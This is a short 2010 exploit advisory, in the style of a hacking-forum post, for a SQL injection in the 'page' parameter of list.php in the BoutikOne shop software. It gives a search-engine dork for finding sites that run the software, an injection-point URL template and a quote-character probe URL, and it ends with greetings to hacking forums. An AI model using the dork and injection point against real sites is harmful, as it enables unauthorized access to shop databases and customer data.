BoutikOne v1 SQL Injection Vulnerability

 ________  _____________  / /_

/ ___/ _ \/ ___/ ___/ _ \/ __/

(__  )  __/ /__/ /  /  __/ /_

/____/\___/\___/_/   \___/\__/

#####################################################################

# Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie

# Date: 19/09/2010

# Author: BrOx-Dz

# Author: E.dz@hotmail.fr

# Software Link: http://www.boutikone.com/

# Dork  : Powered by BoutikOne®

# Version: BoutikOne®

# Tested on: windows xp pack 3

#####################################################################

----------------------------------------------------------------------------

#e.g :

http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]

#demo :

http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'

----------------------------------------------------------------------------

greatez:

lagripe-dz  mca_crb  amine  halim all dz members.

www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/.

Related Articles :